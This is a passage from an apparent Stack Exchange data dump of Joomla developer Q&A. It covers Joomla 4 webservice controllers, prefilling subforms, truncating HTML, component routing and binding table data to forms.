folder:&lt;/p&gt;&#xA;&lt;p&gt;&lt;code&gt;[siteroot]/api/components/com_users/Controllers/UsersController.php&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;Finally, there is no useful difference between &lt;code&gt;$getDefaults&lt;/code&gt; and &lt;code&gt;$defaults&lt;/code&gt;, essentially this should boil down (array_merge) to a single associative array that looks like:&lt;br /&gt;&#xA;&lt;code&gt;['public' =&amp;gt; false, 'component' =&amp;gt; 'com_&amp;lt;yourComponentName&amp;gt;']&lt;/code&gt;&lt;br /&gt;&#xA;In fact, you could just structure a single associative array as shown and you'd be perfectly fine (in the granular un-joomla case shown in my other answer, else for the J! 4 way, just set &lt;code&gt;['component' =&amp;gt; 'com_&amp;lt;yourComponentName&amp;gt;']&lt;/code&gt; like the handful of J! 4 examples show.&lt;/p&gt;&#xA;&lt;p&gt;Notice also that in &lt;code&gt;createCRUDRoutes&lt;/code&gt; we see concatenation of the controller string with suffixes like:&lt;br /&gt;&#xA;&lt;code&gt;.displayList&lt;/code&gt;, &lt;code&gt;.displayItem&lt;/code&gt;, &lt;code&gt;.add&lt;/code&gt;, &lt;code&gt;.edit&lt;/code&gt;, and &lt;code&gt;.delete&lt;/code&gt; this naturally leads one to think that the controller thus mapped &lt;em&gt;might contain those methods&lt;/em&gt; (because they're essentially forcing you to conduct business using those precise names) which is indeed what J! 4 expects. With a twist of OOP abstraction the core both satisfies this expectation of J! 4 AND hides that clarity from YOU, the developer.&lt;/p&gt;&#xA;&lt;p&gt;Let's take a look at the core &lt;code&gt;[siteroot]/api/components/com_users/Controllers/UsersController.php&lt;/code&gt; as shipped in the api folder i.e. A webservice controller...&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&#xA;/**&#xA; * The users controller&#xA; * @since  4.0.0&#xA; */&#xA;class UsersController extends ApiController&#xA;{&#xA;    /**&#xA;     * The content type of the item.&#xA;     * @var    string&#xA;     * @since  4.0.0&#xA;     */&#xA;    protected $contentType = 'users';&#xA;&#xA;    /**&#xA;     * The default view for the display method.&#xA;     * @var    string&#xA;     * @since  4.0.0&#xA;     */&#xA;    protected $default_view = 'users';&#xA;&#xA;    /**&#xA;     * Method to allow extended classes to manipulate the data to be saved for an extension.&#xA;     * @param   array  $data  An array of input data.&#xA;     * @return  array&#xA;     * @since   4.0.0&#xA;     */&#xA;    protected function preprocessSaveData(array $data): array&#xA;    {&#xA;        ...&#xA;    }&#xA;&#xA;    /**&#xA;     * User list view with filtering of data&#xA;     * @return  static  A BaseController object to support chaining.&#xA;     * @since   4.0.0&#xA;     * @throws  InvalidParameterException&#xA;     */&#xA;    public function displayList()&#xA;    {&#xA;        $apiFilterInfo = $this-&amp;gt;input-&amp;gt;get('filter', [], 'array');&#xA;        $filter        = InputFilter::getInstance();&#xA;&#xA;        if (\array_key_exists('state', $apiFilterInfo))&#xA;        {&#xA;            $this-&amp;gt;modelState-&amp;gt;set('filter.state', $filter-&amp;gt;clean($apiFilterInfo['state'], 'INT'));&#xA;        }&#xA;&#xA;        if (\array_key_exists('active', $apiFilterInfo))&#xA;        {&#xA;            $this-&amp;gt;modelState-&amp;gt;set('filter.active', $filter-&amp;gt;clean($apiFilterInfo['active'], 'INT'));&#xA;        }&#xA;&#xA;        if (\array_key_exists('groupid', $apiFilterInfo))&#xA;        {&#xA;            $this-&amp;gt;modelState-&amp;gt;set('filter.group_id', $filter-&amp;gt;clean($apiFilterInfo['groupid'], 'INT'));&#xA;        }&#xA;&#xA;        if (\array_key_exists('search', $apiFilterInfo))&#xA;        {&#xA;            $this-&amp;gt;modelState-&amp;gt;set('filter.search', $filter-&amp;gt;clean($apiFilterInfo['search'], 'STRING'));&#xA;        }&#xA;&#xA;        /*&#xA;        * What's happenning here is that the above code is populating a bunch of data on the instance property called&#xA;        * $modelState (defined in ApiController.php which is the base class of UsersController.php in the api folder).&#xA;        * Then at the end (the line below) a static call to the base class's (the parent:: call) displayList() method happens&#xA;        * This basically executes that method using the updated $modelState object details to populate the model in one go.&#xA;        * What it's doing is looking at your REST request and seeing if you specified any of the filter keys `state`, `active` etc&#xA;        * then it's setting those filtration config options.&#xA;        * &#xA;        */&#xA;        return parent::displayList();&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;I commented on the indirection happenning in the displayList() method above.&lt;br /&gt;&#xA;You might naturally be wondering &amp;quot;Where are the rest of the method names we saw hard-coded in &lt;code&gt;createCRUDRoutes&lt;/code&gt;&amp;quot;??&lt;br /&gt;&#xA;Ah, those are all inherited from &lt;code&gt;ApiController.php&lt;/code&gt;!&lt;/p&gt;&#xA;&lt;p&gt;So we read &lt;code&gt;[siteroot]/libraries/src/MVC/Controller/ApiController.php&lt;/code&gt;&lt;br /&gt;&#xA;and indeed there they are, we also see references to the model like the snippet below (interspersed all over &lt;code&gt;ApiController.php&lt;/code&gt;)&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;        /** @var \Joomla\CMS\MVC\Model\AdminModel $model */&#xA;        $model = $this-&amp;gt;getModel(Inflector::singularize($this-&amp;gt;contentType));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;So that's telling us that the model is dynamically picked from the singularization (plural to singular) of the&#xA;value set in &lt;code&gt;$contentType&lt;/code&gt; in our api controller &lt;code&gt;UsersController.php&lt;/code&gt;, nowehere does the code comment on this.&lt;/p&gt;&#xA;&lt;p&gt;So you might wonder &amp;quot;Ok, well which model (site-side or admin-side)?&amp;quot; which is a perfectly natural question to ask.&lt;br /&gt;&#xA;The only clue is from the @var annotation which indicates: &lt;code&gt;\Joomla\CMS\MVC\Model\AdminModel $model&lt;/code&gt;&lt;br /&gt;&#xA;The model is always taken from the admin side.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Next steps&lt;/strong&gt;:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;You now need to (if you're not a seasoned J! 4 developer) determine which method names you need to implement in your admin model in order for &lt;code&gt;ApiController.php&lt;/code&gt; or &lt;code&gt;J! 4&lt;/code&gt; not to throw exceptions at you, silently fail, or otherwise meltdown.&lt;/li&gt;&#xA;&lt;li&gt;You do this by highlighting the &lt;code&gt;$model&lt;/code&gt; variable throughout all the methods in the &lt;code&gt;ApiController&lt;/code&gt; class and observing the calls to specific methods that are made, YOU need to make sure your admin model's methods are named the same names AND return the same shapes of data.&lt;/li&gt;&#xA;&lt;li&gt;You'll also need to update the fields you wish to see displayed by editing the &lt;code&gt;JsonapiView.php&lt;/code&gt; file under the &lt;code&gt;View/&amp;lt;ControllerName&amp;gt;&lt;/code&gt; folder. These are all the relationships you'll need to stay mindful of (under production time constraints mind you) as you strive to bring a single endpoint online.&lt;/li&gt;&#xA;&lt;li&gt;Files you need to touch in order to bring one REST endpoint online:&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;[siteroot]/plugins/webservices/&amp;lt;yourWebservicesPluginName&amp;gt;/&amp;lt;yourWebservicesPluginName&amp;gt;.php&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;[siteroot]/api/components/com_&amp;lt;ComponentName&amp;gt;/src/Controllers/&amp;lt;ControllerName&amp;gt;Controller.php&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;[siteroot]/api/components/com_&amp;lt;ComponentName&amp;gt;/src/View/&amp;lt;ControllerName&amp;gt;/JsonapiView.php&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;[siteroot]/administrator/components/com_&amp;lt;ComponentName&amp;gt;/src/Models/&amp;lt;ModelName&amp;gt;Model.php&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;&lt;strong&gt;Summary&lt;/strong&gt;:&lt;br /&gt;&#xA;As you can see from our little dive into the request and class inheritance lifecycle (specifically the way it has been done in J! 4), there is no documented (to say nothing of official let alone simple) way to implement 'webservices' in J! 4 which are not completely marching in lockstep with all the conventions and expected object shapes of Joomla (which if you're not a seasoned J! developer, you'll need to log out to everything.php via &lt;code&gt;print_r($objectInQuestion, true)&lt;/code&gt; all those shapes in order to get a grasp of how all the J! 4 methods expect to have responses.&lt;/p&gt;&#xA;&lt;p&gt;For every arbitrarily defined endpoint you wish to bring online, (even though J! 4 tries to mulitply that by 5x for all of its CRRUD routes (read list &amp;amp; read single item for 2x R's)) you now have 4 files to intricately contend with across a relatively disparate folder structure within the 'same' component (but only because J! 4 is trying to glue all these parts together behind the scenes)&lt;/p&gt;&#xA;&lt;p&gt;This is &amp;quot;The Joomla 4 way&amp;quot; of webservices.&lt;/p&gt;&#xA;&lt;p&gt;I hope this sheds light upon your quandary and I also hope this makes it easier to understand why a professional developer might not wish to engage in this song and dance just to reap the benefits of J! 4's ecosystem, user management, token generation and other extant capabilities. You don't have to give up on Joomla to use it efficiently (in terms of time invested times complexity and technical debt accrued for capability output delivered). I mean you &lt;em&gt;can&lt;/em&gt; subject yourself to it if you want to, but then you'll have to be subject to all of the aforementioned constraints and mutliple failure points when a particular object isn't &amp;quot;just so&amp;quot; from the expectation of some other architectural piece.&lt;/p&gt;&#xA;&lt;p&gt;In my other answer I take the &lt;em&gt;Un-Joomla&lt;/em&gt; path which only asks that you add your granular routes (like most other frameworks you're probably already used to) in the webservices plugin file, and then simply write your request handling and response logic in a public method which will live in your controller (as specified in the webservices route plugin php file) residing at &lt;code&gt;[siteroot]/api/components/com_&amp;lt;ComponentName&amp;gt;/src/Controllers/&amp;lt;ControllerName&amp;gt;Controller.php&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;That's two files!, One for the routes list, easily granularly accomplished one route per line and the other is the actual file that does the work. Done. Period. End of sentence.&lt;/p&gt;&#xA;&lt;p&gt;At the end of the day one needs to assess the effects of technology choice and prescribed architectural adherence on developer velocity. Most of the time we're getting paid to do this and &amp;quot;The Joomla way&amp;quot; makes for a much slower pace of progress i.e. developer velocity than the pace of progress afforded by something like express. The beautiful insight to be gleaned here is that we can &amp;quot;Have our Joomla cake and eat it too&amp;quot;, and that is what my &amp;quot;joomla-tools&amp;quot; repo listed on my github in my other answer is all about.&lt;/p&gt;&#xA;&lt;p&gt;I hope you learned something.&lt;/p&gt;&#xA;" OwnerUserId="16257" LastEditorUserId="16257" LastEditDate="2022-07-28T00:49:37.850" LastActivityDate="2022-07-28T00:49:37.850" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="32308" PostTypeId="1" CreationDate="2022-07-29T07:09:48.747" Score="1" ViewCount="29" Body="&lt;p&gt;I'm trying to figure out how to prefill subform repeatable fields - the situation is:&lt;/p&gt;&#xA;&lt;p&gt;/com_manufacturing/admin/views/document/tmpl/edit.php&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;//some code&#xA;&#xA;&amp;lt;?php&#xA;            // $subform = JForm::getInstance('row','row');&#xA;            // echo var_dump($subform);&#xA;            $xml = new SimpleXMLElement(&#xA;            '&amp;lt;fieldset&#xA;              name=&amp;quot;rows&amp;quot;&#xA;              label=&amp;quot;COM_MANUFACTURING_ROW_DETAILS&amp;quot;&amp;gt;&#xA;              &amp;lt;field&#xA;                name=&amp;quot;rows-multiple&amp;quot;&#xA;                type=&amp;quot;subform&amp;quot;&#xA;                label=&amp;quot;Subform Field&amp;quot;&#xA;                description=&amp;quot;Subform Field Description&amp;quot;&#xA;                multiple=&amp;quot;true&amp;quot;&#xA;                layout=&amp;quot;joomla.form.field.subform.repeatable-table&amp;quot;&#xA;                min=&amp;quot;1&amp;quot;&#xA;                max=&amp;quot;10&amp;quot;&amp;gt;&#xA;                &amp;lt;form name=&amp;quot;rows-multiple-form&amp;quot;&amp;gt;&#xA;                  &amp;lt;field&#xA;                    name=&amp;quot;id&amp;quot;&#xA;                    type=&amp;quot;hidden&amp;quot;/&amp;gt;&#xA;                  &amp;lt;field&#xA;                     name=&amp;quot;full_id&amp;quot;&#xA;                     type=&amp;quot;sql&amp;quot;&#xA;                     label=&amp;quot;COM_MANUFACTURING_ROW_FULL_ID_LABEL&amp;quot;&#xA;                     query=&amp;quot;SELECT full_id FROM #__manufacturing_web_import&amp;quot;&#xA;                     key_field=&amp;quot;id&amp;quot;&#xA;                     value_field=&amp;quot;full_id&amp;quot;&#xA;                     required=&amp;quot;true&amp;quot;&#xA;                     /&amp;gt;&#xA;                  &amp;lt;field&#xA;                    name=&amp;quot;qta_inviata_for&amp;quot;&#xA;                    type=&amp;quot;text&amp;quot;&#xA;                    label=&amp;quot;COM_MANUFACTURING_ROW_QTA_INVIATA_FOR_LABEL&amp;quot;&#xA;                    description=&amp;quot;COM_MANUFACTURING_ROW_QTA_INVIATA_FOR_DESC&amp;quot;&#xA;                    size=&amp;quot;40&amp;quot;&#xA;                    class=&amp;quot;inputbox&amp;quot;&#xA;                    default=&amp;quot;&amp;quot;/&amp;gt;&#xA;                  &amp;lt;field&#xA;                    name=&amp;quot;qta_reso_for&amp;quot;&#xA;                    type=&amp;quot;text&amp;quot;&#xA;                    label=&amp;quot;COM_MANUFACTURING_ROW_QTA_RESO_FOR_LABEL&amp;quot;&#xA;                    description=&amp;quot;COM_MANUFACTURING_ROW_QTA_RESO_FOR_DESC&amp;quot;&#xA;                    size=&amp;quot;40&amp;quot;&#xA;                    class=&amp;quot;inputbox&amp;quot;&#xA;                    default=&amp;quot;&amp;quot;/&amp;gt;&#xA;                &amp;lt;/form&amp;gt;&#xA;              &amp;lt;/field&amp;gt;&#xA;            &amp;lt;/fieldset&amp;gt;');&#xA;&#xA;            $this-&amp;gt;form-&amp;gt;setField($xml, 'params', true, 'params');&#xA;&#xA;            $prefillData = array(&#xA;              &amp;quot;docHead&amp;quot; =&amp;gt; array(&#xA;                &amp;quot;doc_num&amp;quot; =&amp;gt; &amp;quot;1401&amp;quot;,&#xA;                &amp;quot;doc_serie&amp;quot; =&amp;gt; &amp;quot;1&amp;quot;),&#xA;              &amp;quot;rows-multiple&amp;quot; =&amp;gt;&#xA;                array(&#xA;                  &amp;quot;full_id&amp;quot; =&amp;gt; &amp;quot;1984&amp;quot;,&#xA;                  &amp;quot;qta_inviata_for&amp;quot; =&amp;gt; &amp;quot;1001&amp;quot;,&#xA;                  &amp;quot;qta_reso_for&amp;quot; =&amp;gt; &amp;quot;199&amp;quot;),&#xA;                array(&#xA;                  &amp;quot;full_id&amp;quot; =&amp;gt; &amp;quot;1897&amp;quot;,&#xA;                  &amp;quot;qta_inviata_for&amp;quot; =&amp;gt; &amp;quot;4000&amp;quot;,&#xA;                  &amp;quot;qta_reso_for&amp;quot; =&amp;gt; &amp;quot;300&amp;quot;),&#xA;            );&#xA;&#xA;            $this-&amp;gt;form-&amp;gt;bind($prefillData);&#xA;          ?&amp;gt;&#xA;          &amp;lt;?php&#xA;            echo $this-&amp;gt;form-&amp;gt;renderFieldset('details');&#xA;          ?&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;//some code&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;in the main form - com_manufacturing/admin/models/forms/document.xml&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?xml version=&amp;quot;1.0&amp;quot; encoding=&amp;quot;utf-8&amp;quot;?&amp;gt;&#xA;&amp;lt;form addrulepath=&amp;quot;/administrator/components/com_manufacturing/models/rules&amp;quot;&amp;gt;&#xA;    &amp;lt;fieldset&#xA;        name=&amp;quot;details&amp;quot;&#xA;        label=&amp;quot;COM_MANUFACTURING_DOCUMENT_DETAILS&amp;quot;&amp;gt;&#xA;        &amp;lt;fields&#xA;            name=&amp;quot;docHead&amp;quot;&amp;gt;&#xA;        &amp;lt;field&#xA;            name=&amp;quot;id&amp;quot;&#xA;            type=&amp;quot;hidden&amp;quot;/&amp;gt;&#xA;        &amp;lt;field&#xA;                name=&amp;quot;created&amp;quot;&#xA;                type=&amp;quot;calendar&amp;quot;&#xA;                label=&amp;quot;JGLOBAL_FIELD_CREATED_LABEL&amp;quot;&#xA;                description=&amp;quot;COM_CONTENT_FIELD_CREATED_DESC&amp;quot;&#xA;                class=&amp;quot;readonly&amp;quot;&#xA;                translateformat=&amp;quot;true&amp;quot;&#xA;                showtime=&amp;quot;true&amp;quot;&#xA;                size=&amp;quot;22&amp;quot;&#xA;                readonly=&amp;quot;true&amp;quot;&#xA;                filter=&amp;quot;none&amp;quot;&#xA;                /&amp;gt;&#xA;    &amp;lt;field name=&amp;quot;created_by&amp;quot;&#xA;        type=&amp;quot;user&amp;quot;&#xA;      label=&amp;quot;COM_MANUFACTURING_DOCUMENT_CREATED_BY_LABEL&amp;quot;&#xA;        class=&amp;quot;readonly&amp;quot;&#xA;        readonly=&amp;quot;true&amp;quot;&#xA;        filter=&amp;quot;unset&amp;quot;&#xA;        /&amp;gt;&#xA;         &amp;lt;field&#xA;            name=&amp;quot;doc_num&amp;quot;&#xA;            type=&amp;quot;text&amp;quot;&#xA;            class=&amp;quot;inputbox&amp;quot;&#xA;            default=&amp;quot;&amp;quot;&#xA;            label=&amp;quot;COM_MANUFACTURING_DOCUMENT_DOC_NUM_LABEL&amp;quot;&#xA;            description=&amp;quot;COM_MANUFACTURING_DOCUMENT_DOC_NUM_DESC&amp;quot;&#xA;            required=&amp;quot;true&amp;quot;&#xA;            /&amp;gt;&#xA;            &amp;lt;field&#xA;             name=&amp;quot;doc_serie&amp;quot;&#xA;             type=&amp;quot;sql&amp;quot;&#xA;             label=&amp;quot;COM_MANUFACTURING_DOCUMENT_DOC_SERIE_LABEL&amp;quot;&#xA;             query=&amp;quot;SELECT id, concat( series_cod, ' (', series_descr, ')') AS title FROM #__manufacturing_web_series&amp;quot;&#xA;             key_field=&amp;quot;id&amp;quot;&#xA;             value_field=&amp;quot;title&amp;quot;&#xA;             required=&amp;quot;true&amp;quot;&#xA;             /&amp;gt;&#xA;            &amp;lt;field&#xA;                name=&amp;quot;dt_imported&amp;quot;&#xA;                type=&amp;quot;calendar&amp;quot;&#xA;                label=&amp;quot;COM_MANUFACTURING_DOCUMENT_DT_IMPORTED_LABEL&amp;quot;&#xA;                description=&amp;quot;COM_MANUFACTURING_DOCUMENT_DT_IMPORTED_DESC&amp;quot;&#xA;                class=&amp;quot;readonly&amp;quot;&#xA;                translateformat=&amp;quot;true&amp;quot;&#xA;                showtime=&amp;quot;true&amp;quot;&#xA;                size=&amp;quot;22&amp;quot;&#xA;                readonly=&amp;quot;true&amp;quot;&#xA;                filter=&amp;quot;none&amp;quot;&#xA;                /&amp;gt;&#xA;            &amp;lt;field&#xA;                name=&amp;quot;modified&amp;quot;&#xA;                type=&amp;quot;calendar&amp;quot;&#xA;                label=&amp;quot;JGLOBAL_FIELD_MODIFIED_LABEL&amp;quot;&#xA;                description=&amp;quot;COM_CONTENT_FIELD_MODIFIED_DESC&amp;quot;&#xA;                class=&amp;quot;readonly&amp;quot;&#xA;                translateformat=&amp;quot;true&amp;quot;&#xA;                showtime=&amp;quot;true&amp;quot;&#xA;                size=&amp;quot;22&amp;quot;&#xA;                readonly=&amp;quot;true&amp;quot;&#xA;                filter=&amp;quot;none&amp;quot;&#xA;                /&amp;gt;&#xA;                &amp;lt;field&#xA;                    name=&amp;quot;modified_by&amp;quot;&#xA;                    type=&amp;quot;user&amp;quot;&#xA;                    label=&amp;quot;JGLOBAL_FIELD_MODIFIED_BY_LABEL&amp;quot;&#xA;                    class=&amp;quot;readonly&amp;quot;&#xA;                    readonly=&amp;quot;true&amp;quot;&#xA;                    filter=&amp;quot;unset&amp;quot;&#xA;                /&amp;gt;&#xA;        &amp;lt;field&#xA;                name=&amp;quot;cod_for&amp;quot;&#xA;                type=&amp;quot;text&amp;quot;&#xA;                label=&amp;quot;COM_MANUFACTURING_DOCUMENT_COD_FOR_LABEL&amp;quot;&#xA;                description=&amp;quot;COM_MANUFACTURING_DOCUMENT_COD_FOR_DESC&amp;quot;&#xA;                size=&amp;quot;40&amp;quot;&#xA;                validate=&amp;quot;codFor&amp;quot;&#xA;                required=&amp;quot;true&amp;quot;&#xA;                class=&amp;quot;inputbox validate-codFor&amp;quot;&#xA;                default=&amp;quot;&amp;quot;&#xA;                /&amp;gt;&#xA;        &amp;lt;/fields&amp;gt;&#xA;        &amp;lt;fields name=&amp;quot;docBody&amp;quot;&amp;gt;&#xA;        &amp;lt;/fields&amp;gt;&#xA;    &amp;lt;/fieldset&amp;gt;&#xA;    &amp;lt;fields name=&amp;quot;params&amp;quot;&amp;gt;&#xA;        &amp;lt;fieldset&#xA;                name=&amp;quot;params&amp;quot;&#xA;                label=&amp;quot;JGLOBAL_FIELDSET_DISPLAY_OPTIONS&amp;quot;&#xA;        &amp;gt;&#xA;            &amp;lt;field&#xA;                    name=&amp;quot;show_category&amp;quot;&#xA;                    type=&amp;quot;list&amp;quot;&#xA;                    label=&amp;quot;COM_MANUFACTURING_DOCUMENT_FIELD_SHOW_CATEGORY_LABEL&amp;quot;&#xA;                    description=&amp;quot;COM_MANUFACTURING_DOCUMENT_FIELD_SHOW_CATEGORY_DESC&amp;quot;&#xA;                    default=&amp;quot;&amp;quot;&#xA;            &amp;gt;&#xA;                &amp;lt;option value=&amp;quot;&amp;quot;&amp;gt;JGLOBAL_USE_GLOBAL&amp;lt;/option&amp;gt;&#xA;                &amp;lt;option value=&amp;quot;0&amp;quot;&amp;gt;JHIDE&amp;lt;/option&amp;gt;&#xA;                &amp;lt;option value=&amp;quot;1&amp;quot;&amp;gt;JSHOW&amp;lt;/option&amp;gt;&#xA;            &amp;lt;/field&amp;gt;&#xA;        &amp;lt;/fieldset&amp;gt;&#xA;    &amp;lt;/fields&amp;gt;&#xA;    &amp;lt;fieldset&#xA;            name=&amp;quot;accesscontrol&amp;quot;&#xA;            label=&amp;quot;COM_MANUFACTURING_FIELDSET_RULES&amp;quot;&#xA;    &amp;gt;&#xA;        &amp;lt;field&#xA;                name=&amp;quot;asset_id&amp;quot;&#xA;                type=&amp;quot;hidden&amp;quot;&#xA;                filter=&amp;quot;unset&amp;quot;&#xA;                /&amp;gt;&#xA;        &amp;lt;field&#xA;                name=&amp;quot;rules&amp;quot;&#xA;                type=&amp;quot;rules&amp;quot;&#xA;                label=&amp;quot;COM_MANUFACTURING_FIELD_RULES_LABEL&amp;quot;&#xA;                filter=&amp;quot;rules&amp;quot;&#xA;                validate=&amp;quot;rules&amp;quot;&#xA;                class=&amp;quot;inputbox&amp;quot;&#xA;                component=&amp;quot;com_manufacturing&amp;quot;&#xA;                section=&amp;quot;document&amp;quot;&#xA;                /&amp;gt;&#xA;    &amp;lt;/fieldset&amp;gt;&#xA;&amp;lt;/form&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Now - I try many many versions of my $prefillData, with the intention to build an associative array that has the same structure that have my form and subform - but no way.&lt;/p&gt;&#xA;&lt;p&gt;The Joomla Docs deal with this type of prefill situation. &lt;a href=&quot;https://docs.joomla.org/Advanced_form_guide&quot; rel=&quot;nofollow noreferrer&quot;&gt;Advance&lt;/a&gt; &lt;a href=&quot;https://docs.joomla.org/Basic_form_guide&quot; rel=&quot;nofollow noreferrer&quot;&gt;Basic&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Can someone help me?&lt;/p&gt;&#xA;" OwnerUserId="14217" LastEditorUserId="12352" LastEditDate="2022-07-29T11:55:01.647" LastActivityDate="2022-08-01T20:06:12.537" Title="Trying to find the right syntax for prefilling a subform in J3.10" Tags="|joomla-3.x|jform|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="32310" PostTypeId="2" ParentId="32306" CreationDate="2022-07-30T15:00:03.780" Score="0" Body="&lt;p&gt;I'm not sure if this helps, but there's an option to strip tags. The allowHtml function's parameter set to false will strip tags &lt;strike&gt;I guess.&lt;/strike&gt; I'm sure.&#xA;&lt;a href=&quot;https://api.joomla.org/cms-4/classes/Joomla-CMS-HTML-Helpers-StringHelper.html#method_truncate&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://api.joomla.org/cms-4/classes/Joomla-CMS-HTML-Helpers-StringHelper.html#method_truncate&lt;/a&gt;&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php echo HTMLHelper::_('string.truncate', $item-&amp;gt;core_body, $this-&amp;gt;params-&amp;gt;get('tag_list_item_maximum_characters'),true, false ); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;The last argument is for allow or not HTML, in your case set to false will remove all tags.&lt;/p&gt;&#xA;" OwnerUserId="8063" LastEditorUserId="8063" LastEditDate="2022-09-05T23:05:00.607" LastActivityDate="2022-09-05T23:05:00.607" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="32312" PostTypeId="2" ParentId="32308" CreationDate="2022-08-01T14:59:52.667" Score="1" Body="&lt;p&gt;Finaly, I've found a solution on this post:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://stackoverflow.com/questions/46254724/how-to-set-form-data-for-a-joomla-subform&quot;&gt;https://stackoverflow.com/questions/46254724/how-to-set-form-data-for-a-joomla-subform&lt;/a&gt;&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$data-&amp;gt;set('nameofsubformfield', [&#xA;    'nameofsubformfield0' =&amp;gt; [&#xA;      'fieldwithinsubform' =&amp;gt; 'value-of-field-within-subform'&#xA;    ]&#xA;]);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;This is the right syntax for prefill subform elements.&lt;/p&gt;&#xA;" OwnerUserId="14217" LastEditorUserId="12352" LastEditDate="2022-08-01T20:06:12.537" LastActivityDate="2022-08-01T20:06:12.537" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="32313" PostTypeId="1" CreationDate="2022-08-01T18:42:31.420" Score="2" ViewCount="235" Body="&lt;p&gt;I have 1 component with 2 views - default is view1 - secondary is view2.&lt;/p&gt;&#xA;&lt;p&gt;When I associate it with the menu from the backend, Joomla creates the correct url with alias for SEO.&lt;/p&gt;&#xA;&lt;p&gt;Example: &lt;code&gt;www.sitename.com/view1&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;When from view1, I click the content and it goes to view2. To link it I use:&#xA;&lt;code&gt;?option=com_myname&amp;amp;view=view2&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;The complete url will be&lt;/strong&gt;: &lt;code&gt;www.sitename.com/?option=com_myname&amp;amp;view=view2&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;Everything works, but I would like to make the url&#xA;&lt;code&gt;www.sitename.com/view2&lt;/code&gt; &lt;strong&gt;and not&lt;/strong&gt; &lt;code&gt;www.sitename.com/?option=com_myname&amp;amp;view=view2&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;I wrote the router.php inside the component and register the name view.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$view1 = new JComponentRouterViewconfiguration('view1');&#xA;$view1 -&amp;gt;setKey('id');&#xA;$this-&amp;gt;registerView($view1);&#xA;&#xA;$view2 = new JComponentRouterViewconfiguration('view2');&#xA;$view2 -&amp;gt;setKey('id');&#xA;$this-&amp;gt;registerView($view2);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;I created a legacyrouter file inside the helper folder,&#xA;but when inside function build I print the view&#xA;&lt;code&gt;highlight_string(print_r($item-&amp;gt;query['view'] ,true));&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;it always gives me &lt;code&gt;view1&lt;/code&gt; even if in the url I wrote &lt;code&gt;view2&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;I am not sure if the procedure is correct. In any case, how do I change the slug/alias?&lt;/p&gt;&#xA;&lt;p&gt;There is no function like:&#xA;&lt;code&gt;RegisterViewAndAlias('?option=com_myname&amp;amp;view=view2', 'view2');&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;How do I change the slug?&lt;/p&gt;&#xA;" OwnerUserId="16518" LastEditorUserId="12352" LastEditDate="2022-08-02T12:03:50.323" LastActivityDate="2023-12-27T09:07:00.797" Title="Joomla 3.x routing and slug problem" Tags="|joomla-3.x|custom-component|url|router|alias|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="32314" PostTypeId="1" AcceptedAnswerId="32330" CreationDate="2022-08-02T10:08:15.840" Score="1" ViewCount="178" Body="&lt;pre&gt;&lt;code&gt;public function getLaymanLayout($id){&#xA;    $form = $this-&amp;gt;getForm();&#xA;    $form-&amp;gt;bind(0);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;I still have a lot to implement and make it correct to the MVC rules.&lt;/p&gt;&#xA;&lt;p&gt;I want to call a table from the db (Table class from Joomla) and then bind the data from that to the form when you press edit.&lt;/p&gt;&#xA;&lt;p&gt;I'm struggling to get the values of the Database table placed inside of a form when I edit it on the backend of Joomla4. If I understand I have to use the &lt;code&gt;JTable-&amp;gt;bind()&lt;/code&gt; or &lt;code&gt;JForm-&amp;gt;bind()&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="16521" LastEditorUserId="12352" LastEditDate="2022-08-02T22:40:12.980" LastActivityDate="2022-08-12T10:34:15.187" Title="I want to display a form with the data added already" Tags="|joomla-4.x|jform|mvc|model|jtable|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
